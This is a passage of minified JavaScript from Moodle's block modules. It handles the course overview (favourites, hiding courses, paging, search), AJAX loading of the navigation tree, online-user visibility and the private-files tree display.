courseRegion=root.find(_selectors.default.courseView.region);return{display:courseRegion.attr(&quot;data-display&quot;),grouping:courseRegion.attr(&quot;data-grouping&quot;),sort:courseRegion.attr(&quot;data-sort&quot;),displaycategories:courseRegion.attr(&quot;data-displaycategories&quot;),customfieldname:courseRegion.attr(&quot;data-customfieldname&quot;),customfieldvalue:courseRegion.attr(&quot;data-customfieldvalue&quot;)}},DEFAULT_PAGED_CONTENT_CONFIG={ignoreControlWhileLoading:!0,controlPlacementBottom:!0,persistentLimitKey:&quot;block_myoverview_user_paging_preference&quot;},getFavouriteIconContainer=(root,courseId)=&gt;root.find(_selectors.default.FAVOURITE_ICON+&#039;[data-course-id=&quot;&#039;+courseId+&#039;&quot;]&#039;),getPagedContentContainer=(root,index)=&gt;root.find(&#039;[data-region=&quot;paged-content-page&quot;][data-page=&quot;&#039;+index+&#039;&quot;]&#039;),getCourseId=root=&gt;root.attr(&quot;data-course-id&quot;),getAddFavouriteMenuItem=(root,courseId)=&gt;root.find(&#039;[data-action=&quot;add-favourite&quot;][data-course-id=&quot;&#039;+courseId+&#039;&quot;]&#039;),getRemoveFavouriteMenuItem=(root,courseId)=&gt;root.find(&#039;[data-action=&quot;remove-favourite&quot;][data-course-id=&quot;&#039;+courseId+&#039;&quot;]&#039;),addToFavourites=(root,courseId)=&gt;{const removeAction=getRemoveFavouriteMenuItem(root,courseId),addAction=getAddFavouriteMenuItem(root,courseId);setCourseFavouriteState(courseId,!0).then((success=&gt;{success?(PubSub.publish(CourseEvents.favourited,courseId),removeAction.removeClass(&quot;hidden&quot;),addAction.addClass(&quot;hidden&quot;),((root,courseId)=&gt;{const iconContainer=getFavouriteIconContainer(root,courseId),isFavouriteIcon=iconContainer.find(_selectors.default.ICON_IS_FAVOURITE);isFavouriteIcon.removeClass(&quot;hidden&quot;),Aria.unhide(isFavouriteIcon);const notFavourteIcon=iconContainer.find(_selectors.default.ICON_NOT_FAVOURITE);notFavourteIcon.addClass(&quot;hidden&quot;),Aria.hide(notFavourteIcon)})(root,courseId)):Notification.alert(&quot;Starring course failed&quot;,&quot;Could not change favourite state&quot;)})).catch(Notification.exception)},removeFromFavourites=(root,courseId)=&gt;{const removeAction=getRemoveFavouriteMenuItem(root,courseId),addAction=getAddFavouriteMenuItem(root,courseId);setCourseFavouriteState(courseId,!1).then((success=&gt;{success?(PubSub.publish(CourseEvents.unfavorited,courseId),removeAction.addClass(&quot;hidden&quot;),addAction.removeClass(&quot;hidden&quot;),((root,courseId)=&gt;{const iconContainer=getFavouriteIconContainer(root,courseId),isFavouriteIcon=iconContainer.find(_selectors.default.ICON_IS_FAVOURITE);isFavouriteIcon.addClass(&quot;hidden&quot;),Aria.hide(isFavouriteIcon);const notFavourteIcon=iconContainer.find(_selectors.default.ICON_NOT_FAVOURITE);notFavourteIcon.removeClass(&quot;hidden&quot;),Aria.unhide(notFavourteIcon)})(root,courseId)):Notification.alert(&quot;Starring course failed&quot;,&quot;Could not change favourite state&quot;)})).catch(Notification.exception)},getHideCourseMenuItem=(root,courseId)=&gt;root.find(&#039;[data-action=&quot;hide-course&quot;][data-course-id=&quot;&#039;+courseId+&#039;&quot;]&#039;),getShowCourseMenuItem=(root,courseId)=&gt;root.find(&#039;[data-action=&quot;show-course&quot;][data-course-id=&quot;&#039;+courseId+&#039;&quot;]&#039;),setCourseHiddenState=(courseId,status)=&gt;(!1===status&amp;&amp;(status=null),Repository.updateUserPreferences({preferences:[{type:&quot;block_myoverview_hidden_course_&quot;+courseId,value:status}]})),hideElement=(root,id)=&gt;{const pagingBar=root.find(&#039;[data-region=&quot;paging-bar&quot;]&#039;),jumpto=parseInt(pagingBar.attr(&quot;data-active-page-number&quot;));let reducedCourse=loadedPages[jumpto].courses.reduce(((accumulator,current)=&gt;(+id!=+current.id&amp;&amp;accumulator.push(current),accumulator)),[]);if(void 0!==loadedPages[jumpto+1]){const newElement=loadedPages[jumpto+1].courses.slice(0,1);loadedPages.forEach(((courseList,index)=&gt;{if(index&gt;jumpto){let popElement=[];void 0!==loadedPages[index+1]&amp;&amp;(popElement=loadedPages[index+1].courses.slice(0,1)),loadedPages[index].courses=[...loadedPages[index].courses.slice(1),...popElement]}})),reducedCourse=[...reducedCourse,...newElement]}if(lastPage===jumpto+1&amp;&amp;0===loadedPages[jumpto+1].courses.length){const pagedContentContainer=root.find(&#039;[data-region=&quot;paged-content-container&quot;]&#039;);PagedContentFactory.resetLastPageNumber((0,_jquery.default)(pagedContentContainer).attr(&quot;id&quot;),jumpto)}loadedPages[jumpto].courses=reducedCourse,courseOffset--;const pagedContentPage=getPagedContentContainer(root,jumpto);renderCourses(root,loadedPages[jumpto]).then(((html,js)=&gt;Templates.replaceNodeContents(pagedContentPage,html,js))).catch(Notification.exception),loadedPages.forEach(((courseList,index)=&gt;{if(index&gt;jumpto){getPagedContentContainer(root,index).remove()}}))},setCourseFavouriteState=(courseId,status)=&gt;Repository.setFavouriteCourses({courses:[{id:courseId,favourite:status}]}).then((result=&gt;0===result.warnings.length&amp;&amp;(loadedPages.forEach((courseList=&gt;{courseList.courses.forEach(((course,index)=&gt;{course.id==courseId&amp;&amp;(courseList.courses[index].isfavourite=status)}))})),!0))).catch(Notification.exception),noCoursesRender=root=&gt;{const nocoursesimg=root.find(_selectors.default.courseView.region).attr(&quot;data-nocoursesimg&quot;),newcourseurl=root.find(_selectors.default.courseView.region).attr(&quot;data-newcourseurl&quot;);return Templates.render(TEMPLATES_NOCOURSES,{nocoursesimg:nocoursesimg,newcourseurl:newcourseurl})},renderCourses=(root,coursesData)=&gt;{const filters=getFilterValues(root);let currentTemplate=&quot;&quot;;return currentTemplate=&quot;card&quot;===filters.display?TEMPLATES_COURSES_CARDS:&quot;list&quot;===filters.display?TEMPLATES_COURSES_LIST:TEMPLATES_COURSES_SUMMARY,coursesData?(!1===Array.isArray(coursesData.courses)&amp;&amp;(coursesData.courses=Object.values(coursesData.courses)),coursesData.courses=coursesData.courses.map((course=&gt;(course.showcoursecategory=&quot;on&quot;===filters.displaycategories,course))),coursesData.courses.length?Templates.render(currentTemplate,{courses:coursesData.courses}):noCoursesRender(root)):noCoursesRender(root)},registerPagedEventHandlers=(root,namespace)=&gt;{const event=namespace+PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT;PubSub.subscribe(event,(root=&gt;limit=&gt;root.find(_selectors.default.courseView.region).attr(&quot;data-paging&quot;,limit))(root))},itemsPerPageFunc=(pagingLimit,root)=&gt;{let itemsPerPage=NUMCOURSES_PERPAGE.map((value=&gt;{let active=!1;return value===pagingLimit&amp;&amp;(active=!0),{value:value,active:active}}));const totalCourseCount=parseInt(root.find(_selectors.default.courseView.region).attr(&quot;data-totalcoursecount&quot;),10);return itemsPerPage.filter((pagingOption=&gt;pagingOption.value&lt;totalCourseCount||0===pagingOption.value))},pageBuilder=function(coursesData,currentPage,pageData,actions){let activeSearch=arguments.length&gt;4&amp;&amp;void 0!==arguments[4]?arguments[4]:null,courses=coursesData.courses?coursesData.courses:coursesData,nextPageStart=0,pageCourses=[];if(void 0!==loadedPages[currentPage]){pageCourses=loadedPages[currentPage].courses;const currentPageLength=pageCourses.length;currentPageLength&lt;pageData.limit&amp;&amp;(nextPageStart=pageData.limit-currentPageLength,pageCourses={...loadedPages[currentPage].courses,...courses.slice(0,nextPageStart)})}else nextPageStart=pageData.limit||!1,pageCourses=pageData.limit&gt;0?courses.slice(0,pageData.limit):courses;loadedPages[currentPage]={courses:pageCourses};const remainingCourses=!1!==nextPageStart?courses.slice(nextPageStart,courses.length):[];remainingCourses.length&amp;&amp;(loadedPages[currentPage+1]={courses:remainingCourses}),loadedPages[currentPage].courses.length&lt;pageData.limit||!remainingCourses.length?(lastPage=currentPage,null===activeSearch&amp;&amp;actions.allItemsLoaded(currentPage)):void 0!==loadedPages[currentPage+1]&amp;&amp;loadedPages[currentPage+1].courses.length&lt;pageData.limit&amp;&amp;(lastPage=currentPage+1),courseOffset=coursesData.nextoffset},resetGlobals=()=&gt;{courseOffset=0,loadedPages=[],lastPage=0,lastLimit=0},standardFunctionalityCurry=()=&gt;(resetGlobals(),(filters,currentPage,pageData,actions,root,promises,limit)=&gt;{const pagePromise=((filters,limit)=&gt;Repository.getEnrolledCoursesByTimeline({offset:courseOffset,limit:limit,classification:filters.grouping,sort:filters.sort,customfieldname:filters.customfieldname,customfieldvalue:filters.customfieldvalue}))(filters,limit).then((coursesData=&gt;(pageBuilder(coursesData,currentPage,pageData,actions),renderCourses(root,loadedPages[currentPage])))).catch(Notification.exception);promises.push(pagePromise)}),searchFunctionalityCurry=()=&gt;(resetGlobals(),(filters,currentPage,pageData,actions,root,promises,limit,inputValue)=&gt;{const searchingPromise=((filters,limit,searchValue)=&gt;Repository.getEnrolledCoursesByTimeline({offset:courseOffset,limit:limit,classification:&quot;search&quot;,sort:filters.sort,customfieldname:filters.customfieldname,customfieldvalue:filters.customfieldvalue,searchvalue:searchValue}))(filters,limit,inputValue).then((coursesData=&gt;(pageBuilder(coursesData,currentPage,pageData,actions),renderCourses(root,loadedPages[currentPage])))).catch(Notification.exception);promises.push(searchingPromise)}),initializePagedContent=function(root,promiseFunction){let inputValue=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:null;const pagingLimit=parseInt(root.find(_selectors.default.courseView.region).attr(&quot;data-paging&quot;),10);let itemsPerPage=itemsPerPageFunc(pagingLimit,root);const filters=getFilterValues(root),config={...DEFAULT_PAGED_CONTENT_CONFIG};config.eventNamespace=namespace;const pagedContentPromise=PagedContentFactory.createWithLimit(itemsPerPage,((pagesData,actions)=&gt;{let promises=[];return pagesData.forEach((pageData=&gt;{const currentPage=pageData.pageNumber;let limit=pageData.limit&gt;0?pageData.limit:0;if(+lastLimit!=+limit&amp;&amp;(loadedPages=[],courseOffset=0,lastPage=0),lastPage===currentPage)return actions.allItemsLoaded(lastPage),void promises.push(renderCourses(root,loadedPages[currentPage]));lastLimit=limit,void 0===loadedPages[currentPage+1]&amp;&amp;void 0===loadedPages[currentPage]&amp;&amp;(limit*=2),promiseFunction(filters,currentPage,pageData,actions,root,promises,limit,inputValue)})),promises}),config);pagedContentPromise.then(((html,js)=&gt;(registerPagedEventHandlers(root,namespace),Templates.replaceNodeContents(root.find(_selectors.default.courseView.region),html,js)))).catch(Notification.exception)},registerEventListeners=(root,page)=&gt;{CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,_selectors.default.ACTION_ADD_FAVOURITE,((e,data)=&gt;{const favourite=(0,_jquery.default)(e.target).closest(_selectors.default.ACTION_ADD_FAVOURITE),courseId=getCourseId(favourite);addToFavourites(root,courseId),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.activate,_selectors.default.ACTION_REMOVE_FAVOURITE,((e,data)=&gt;{const favourite=(0,_jquery.default)(e.target).closest(_selectors.default.ACTION_REMOVE_FAVOURITE),courseId=getCourseId(favourite);removeFromFavourites(root,courseId),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.activate,_selectors.default.FAVOURITE_ICON,((e,data)=&gt;{data.originalEvent.preventDefault()})),root.on(CustomEvents.events.activate,_selectors.default.ACTION_HIDE_COURSE,((e,data)=&gt;{const target=(0,_jquery.default)(e.target).closest(_selectors.default.ACTION_HIDE_COURSE),courseId=getCourseId(target);((root,courseId)=&gt;{const hideAction=getHideCourseMenuItem(root,courseId),showAction=getShowCourseMenuItem(root,courseId),filters=getFilterValues(root);setCourseHiddenState(courseId,!0),filters.grouping!==GROUPINGS_GROUPING_ALLINCLUDINGHIDDEN&amp;&amp;hideElement(root,courseId),hideAction.addClass(&quot;hidden&quot;),showAction.removeClass(&quot;hidden&quot;)})(root,courseId),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.activate,_selectors.default.ACTION_SHOW_COURSE,((e,data)=&gt;{const target=(0,_jquery.default)(e.target).closest(_selectors.default.ACTION_SHOW_COURSE),courseId=getCourseId(target);((root,courseId)=&gt;{const hideAction=getHideCourseMenuItem(root,courseId),showAction=getShowCourseMenuItem(root,courseId),filters=getFilterValues(root);setCourseHiddenState(courseId,null),filters.grouping!==GROUPINGS_GROUPING_ALLINCLUDINGHIDDEN&amp;&amp;hideElement(root,courseId),hideAction.removeClass(&quot;hidden&quot;),showAction.addClass(&quot;hidden&quot;)})(root,courseId),data.originalEvent.preventDefault()}));const input=page.querySelector(_selectors.default.region.searchInput),clearIcon=page.querySelector(_selectors.default.region.clearIcon);clearIcon.addEventListener(&quot;click&quot;,(()=&gt;{input.value=&quot;&quot;,input.focus(),clearSearch(clearIcon,root)})),input.addEventListener(&quot;input&quot;,(0,_utils.debounce)((()=&gt;{&quot;&quot;===input.value?clearSearch(clearIcon,root):(activeSearch(clearIcon),initializePagedContent(root,searchFunctionalityCurry(),input.value.trim()))}),1e3))},clearSearch=(clearIcon,root)=&gt;{clearIcon.classList.add(&quot;d-none&quot;),init(root)};_exports.clearSearch=clearSearch;const activeSearch=clearIcon=&gt;{clearIcon.classList.remove(&quot;d-none&quot;)},init=root=&gt;{if(root=(0,_jquery.default)(root),loadedPages=[],lastPage=0,courseOffset=0,!root.attr(&quot;data-init&quot;)){const page=document.querySelector(_selectors.default.region.selectBlock);registerEventListeners(root,page),namespace=&quot;block_myoverview_&quot;+root.attr(&quot;id&quot;)+&quot;_&quot;+Math.random(),root.attr(&quot;data-init&quot;,!0)}initializePagedContent(root,standardFunctionalityCurry())};_exports.init=init;_exports.reset=root=&gt;{loadedPages.length&gt;0?loadedPages.forEach(((courseList,index)=&gt;{let pagedContentPage=getPagedContentContainer(root,index);renderCourses(root,courseList).then(((html,js)=&gt;Templates.replaceNodeContents(pagedContentPage,html,js))).catch(Notification.exception)})):init(root)}}));
define(&quot;block_myoverview/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={courseView:{region:&#039;[data-region=&quot;courses-view&quot;]&#039;,regionContent:&#039;[data-region=&quot;course-view-content&quot;]&#039;},FILTERS:&#039;[data-region=&quot;filter&quot;]&#039;,FILTER_OPTION:&quot;[data-filter]&quot;,DISPLAY_OPTION:&quot;[data-display-option]&quot;,ACTION_HIDE_COURSE:&#039;[data-action=&quot;hide-course&quot;]&#039;,ACTION_SHOW_COURSE:&#039;[data-action=&quot;show-course&quot;]&#039;,ACTION_ADD_FAVOURITE:&#039;[data-action=&quot;add-favourite&quot;]&#039;,ACTION_REMOVE_FAVOURITE:&#039;[data-action=&quot;remove-favourite&quot;]&#039;,FAVOURITE_ICON:&#039;[data-region=&quot;favourite-icon&quot;]&#039;,ICON_IS_FAVOURITE:&#039;[data-region=&quot;is-favourite&quot;]&#039;,ICON_NOT_FAVOURITE:&#039;[data-region=&quot;not-favourite&quot;]&#039;,region:{selectBlock:&#039;[data-region=&quot;myoverview&quot;]&#039;,clearIcon:&#039;[data-action=&quot;clearsearch&quot;]&#039;,searchInput:&#039;[data-action=&quot;search&quot;]&#039;}},_exports.default}));
define(&quot;block_myoverview/view_nav&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;block_myoverview/repository&quot;,&quot;block_myoverview/view&quot;,&quot;block_myoverview/selectors&quot;],(function(_exports,_jquery,CustomEvents,Repository,View,_selectors){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Manage the timeline view navigation for the overview block.
   *
   * @copyright  2018 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),CustomEvents=_interopRequireWildcard(CustomEvents),Repository=_interopRequireWildcard(Repository),View=_interopRequireWildcard(View),_selectors=_interopRequireDefault(_selectors);const updatePreferences=(filter,value)=&gt;{let type=null;type=&quot;display&quot;===filter?&quot;block_myoverview_user_view_preference&quot;:&quot;sort&quot;===filter?&quot;block_myoverview_user_sort_preference&quot;:&quot;customfieldvalue&quot;===filter?&quot;block_myoverview_user_grouping_customfieldvalue_preference&quot;:&quot;block_myoverview_user_grouping_preference&quot;,Repository.updateUserPreferences({preferences:[{type:type,value:value}]})};_exports.init=root=&gt;{(root=&gt;{const Selector=root.find(_selectors.default.FILTERS);CustomEvents.define(Selector,[CustomEvents.events.activate]),Selector.on(CustomEvents.events.activate,_selectors.default.FILTER_OPTION,((e,data)=&gt;{const option=(0,_jquery.default)(e.target);if(option.hasClass(&quot;active&quot;))return;const filter=option.attr(&quot;data-filter&quot;),pref=option.attr(&quot;data-pref&quot;),customfieldvalue=option.attr(&quot;data-customfieldvalue&quot;);root.find(_selectors.default.courseView.region).attr(&quot;data-&quot;+filter,option.attr(&quot;data-value&quot;)),updatePreferences(filter,pref),customfieldvalue&amp;&amp;(root.find(_selectors.default.courseView.region).attr(&quot;data-customfieldvalue&quot;,customfieldvalue),updatePreferences(&quot;customfieldvalue&quot;,customfieldvalue));const page=document.querySelector(_selectors.default.region.selectBlock),input=page.querySelector(_selectors.default.region.searchInput);if(&quot;&quot;!==input.value){const clearIcon=page.querySelector(_selectors.default.region.clearIcon);input.value=&quot;&quot;,View.clearSearch(clearIcon,root)}else View.init(root);data.originalEvent.preventDefault()})),Selector.on(CustomEvents.events.activate,_selectors.default.DISPLAY_OPTION,((e,data)=&gt;{const option=(0,_jquery.default)(e.target);if(option.hasClass(&quot;active&quot;))return;const filter=option.attr(&quot;data-display-option&quot;),pref=option.attr(&quot;data-pref&quot;);root.find(_selectors.default.courseView.region).attr(&quot;data-display&quot;,option.attr(&quot;data-value&quot;)),updatePreferences(filter,pref),View.reset(root),data.originalEvent.preventDefault()}))})(root=(0,_jquery.default)(root))}}));
/**
 * Parse the response from the navblock ajax page and render the correct DOM
 * structure for the tree from it.
 *
 * @module     block_navigation/ajax_response_renderer
 * @copyright  2015 John Okely &lt;john@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_navigation/ajax_response_renderer&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/url&quot;,&quot;core/aria&quot;],(function($,Templates,Notification,Url,Aria){var NODETYPE_ACTIVITY=40,NODETYPE_RESOURCE=50;function buildDOM(rootElement,nodes){var ul=$(&quot;&lt;ul&gt;&lt;/ul&gt;&quot;);ul.attr(&quot;role&quot;,&quot;group&quot;),Aria.hide(ul),$.each(nodes,(function(index,node){if(&quot;object&quot;==typeof node){var li=$(&quot;&lt;li&gt;&lt;/li&gt;&quot;),p=$(&quot;&lt;p&gt;&lt;/p&gt;&quot;),id=node.id||node.key+&quot;_tree_item&quot;,icon=null,isBranch=!(!node.expandable&amp;&amp;!node.haschildren);li.attr(&quot;role&quot;,&quot;treeitem&quot;),p.addClass(&quot;tree_item&quot;),p.attr(&quot;id&quot;,id),p.attr(&quot;tabindex&quot;,&quot;-1&quot;),node.requiresajaxloading&amp;&amp;(li.attr(&quot;data-requires-ajax&quot;,!0),li.attr(&quot;data-node-id&quot;,node.id),li.attr(&quot;data-node-key&quot;,node.key),li.attr(&quot;data-node-type&quot;,node.type)),isBranch&amp;&amp;(li.addClass(&quot;collapsed contains_branch&quot;),li.attr(&quot;aria-expanded&quot;,!1),p.addClass(&quot;branch&quot;));var eleToAddIcon=null;if(node.link){var link=$(&#039;&lt;a title=&quot;&#039;+node.title+&#039;&quot; href=&quot;&#039;+node.link+&#039;&quot;&gt;&lt;/a&gt;&#039;);eleToAddIcon=link,link.append(&#039;&lt;span class=&quot;item-content-wrap&quot;&gt;&#039;+node.name+&quot;&lt;/span&gt;&quot;),node.hidden&amp;&amp;link.addClass(&quot;dimmed&quot;),p.append(link)}else{var span=$(&quot;&lt;span&gt;&lt;/span&gt;&quot;);eleToAddIcon=span,span.append(&#039;&lt;span class=&quot;item-content-wrap&quot;&gt;&#039;+node.name+&quot;&lt;/span&gt;&quot;),node.hidden&amp;&amp;span.addClass(&quot;dimmed&quot;),p.append(span)}!node.icon||isBranch&amp;&amp;node.type!==NODETYPE_ACTIVITY&amp;&amp;node.type!==NODETYPE_RESOURCE||(li.addClass(&quot;item_with_icon&quot;),p.addClass(&quot;hasicon&quot;),node.type===NODETYPE_ACTIVITY||node.type===NODETYPE_RESOURCE?((icon=$(&quot;&lt;img/&gt;&quot;)).attr(&quot;alt&quot;,node.icon.alt),icon.attr(&quot;title&quot;,node.icon.title),icon.attr(&quot;src&quot;,Url.imageUrl(node.icon.pix,node.icon.component)),$.each(node.icon.classes,(function(index,className){icon.addClass(className)})),eleToAddIcon.prepend(icon)):(&quot;moodle&quot;==node.icon.component&amp;&amp;(node.icon.component=&quot;core&quot;),Templates.renderPix(node.icon.pix,node.icon.component,node.icon.title).then((function(html){eleToAddIcon.prepend(html)})).catch(Notification.exception))),li.append(p),ul.append(li),node.children&amp;&amp;node.children.length?buildDOM(li,node.children):isBranch&amp;&amp;!node.requiresajaxloading&amp;&amp;(li.removeClass(&quot;contains_branch&quot;),p.addClass(&quot;emptybranch&quot;))}})),rootElement.append(ul);var id=rootElement.attr(&quot;id&quot;)+&quot;_group&quot;;ul.attr(&quot;id&quot;,id),rootElement.attr(&quot;aria-owns&quot;,id),rootElement.attr(&quot;role&quot;,&quot;treeitem&quot;)}return{render:function(element,nodes){if(nodes.children&amp;&amp;nodes.children.length){buildDOM(element,nodes.children);var item=element.children(&quot;[role=&#039;treeitem&#039;]&quot;).first(),group=element.find(&quot;#&quot;+item.attr(&quot;aria-owns&quot;));item.attr(&quot;aria-expanded&quot;,!0),Aria.unhide(group)}else element.hasClass(&quot;contains_branch&quot;)&amp;&amp;(element.removeClass(&quot;contains_branch&quot;),element.addClass(&quot;emptybranch&quot;))}}}));
/**
 * Load the nav tree items via ajax and render the response.
 *
 * @module     block_navigation/nav_loader
 * @copyright  2015 John Okely &lt;john@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_navigation/nav_loader&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/config&quot;,&quot;block_navigation/ajax_response_renderer&quot;],(function($,ajax,config,renderer){var URL=config.wwwroot+&quot;/lib/ajax/getnavbranch.php&quot;;function getBlockInstanceId(element){return element.closest(&quot;[data-block]&quot;).attr(&quot;data-instanceid&quot;)}return{load:function(element){element=$(element);var promise=$.Deferred(),settings={type:&quot;POST&quot;,dataType:&quot;json&quot;,data:{elementid:element.attr(&quot;data-node-id&quot;),id:element.attr(&quot;data-node-key&quot;),type:element.attr(&quot;data-node-type&quot;),sesskey:config.sesskey,instance:getBlockInstanceId(element)}};return $.ajax(URL,settings).done((function(nodes){renderer.render(element,nodes),promise.resolve()})),promise}}}));
define(&quot;block_navigation/navblock&quot;,[&quot;exports&quot;,&quot;core_block/events&quot;,&quot;core/tree&quot;],(function(_exports,_events,_tree){var obj;
/**
   * Load the navigation tree javascript.
   *
   * @module     block_navigation/navblock
   * @copyright  2015 John Okely &lt;john@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_tree=(obj=_tree)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=instanceId=&gt;{const navTree=new _tree.default(&quot;.block_navigation .block_tree&quot;),blockNode=document.querySelector(&#039;[data-instance-id=&quot;&#039;.concat(instanceId,&#039;&quot;]&#039;));navTree.finishExpandingGroup=item=&gt;{_tree.default.prototype.finishExpandingGroup.call(navTree,item),(0,_events.notifyBlockContentUpdated)(blockNode)},navTree.collapseGroup=item=&gt;{_tree.default.prototype.collapseGroup.call(navTree,item),(0,_events.notifyBlockContentUpdated)(blockNode)}}}));
/**
 * Load the site admin nav tree via ajax and render the response.
 *
 * @module     block_navigation/site_admin_loader
 * @copyright  2015 John Okely &lt;john@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_navigation/site_admin_loader&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/config&quot;,&quot;block_navigation/ajax_response_renderer&quot;],(function($,ajax,config,renderer){var URL=config.wwwroot+&quot;/lib/ajax/getsiteadminbranch.php&quot;;return{load:function(element){element=$(element);var promise=$.Deferred(),settings={type:&quot;POST&quot;,dataType:&quot;json&quot;,data:{type:71,sesskey:config.sesskey}};return $.ajax(URL,settings).done((function(nodes){renderer.render(element,nodes),promise.resolve()})),promise}}}));
/**
 * A javascript module that handles the change of the user&#039;s visibility in the
 * online users block.
 *
 * @module     block_online_users/change_user_visibility
 * @copyright  2018 Mihail Geshoski &lt;mihail@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_online_users/change_user_visibility&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,Ajax,Str,Notification){var SELECTORS_CHANGE_VISIBILITY_LINK=&quot;#change-user-visibility&quot;,SELECTORS_CHANGE_VISIBILITY_ICON=&quot;#change-user-visibility .icon&quot;,oppositeAction=function(action){return&quot;show&quot;==action?&quot;hide&quot;:&quot;show&quot;},changeVisibilityLinkAttr=function(action){getTitle(action).then((function(title){$(SELECTORS_CHANGE_VISIBILITY_LINK).attr({&quot;data-action&quot;:action,title:title})})).catch(Notification.exception)},changeVisibilityIconAttr=function(action){var icon=$(SELECTORS_CHANGE_VISIBILITY_ICON);getTitle(action).then((function(title){$(icon).attr({title:title,&quot;aria-label&quot;:title}),icon.is(&quot;img&quot;)?$(icon).attr({src:M.util.image_url(&quot;t/&quot;+action),alt:title}):($(icon).addClass(getIconClass(action)),$(icon).removeClass(getIconClass(oppositeAction(action))))})).catch(Notification.exception)},getIconClass=function(action){return&quot;show&quot;==action?&quot;fa-eye-slash&quot;:&quot;fa-eye&quot;},getTitle=function(action){return Str.get_string(&quot;online_status:&quot;+action,&quot;block_online_users&quot;)};return{init:function(){$(SELECTORS_CHANGE_VISIBILITY_LINK).on(&quot;click&quot;,(function(e){e.preventDefault(),function(action,userid){var request={methodname:&quot;core_user_set_user_preferences&quot;,args:{preferences:[{name:&quot;block_online_users_uservisibility&quot;,value:&quot;show&quot;==action?1:0,userid:userid}]}};Ajax.call([request])[0].then((function(data){if(data.saved){var newAction=oppositeAction(action);changeVisibilityLinkAttr(newAction),changeVisibilityIconAttr(newAction)}})).catch(Notification.exception)}($(this).attr(&quot;data-action&quot;),$(this).attr(&quot;data-userid&quot;))}))}}}));
define(&quot;block_private_files/files_tree&quot;,[&quot;exports&quot;,&quot;core/tree&quot;],(function(_exports,_tree){var obj;
/**
   * Changes the display of directories and files into a tree.
   *
   * @module      block_private_files/files_tree
   * @copyright   2021 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_tree=(obj=_tree)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=blockId=&gt;{new _tree.default(&quot;#&quot;.concat(blockId,&#039; [role=&quot;tree&quot;]&#039;))}}));
/**
 * Javascript to initialise the Recently accessed courses block.
 *
 * @module     block_recentlyaccessedcourses/main
 * @copyright  2018 Victor Deniz &lt;victor@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_recentlyaccessedcourses/main&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/notification&quot;,&quot;core/pubsub&quot;,&quot;core/paged_content_paging_bar&quot;,&quot;core/templates&quot;,&quot;core_course/events&quot;,&quot;core_course/repository&quot;,&quot;core/aria&quot;],(function($,CustomEvents,Notification,PubSub,PagedContentPagingBar,Templates,CourseEvents,CoursesRepository,Aria){var 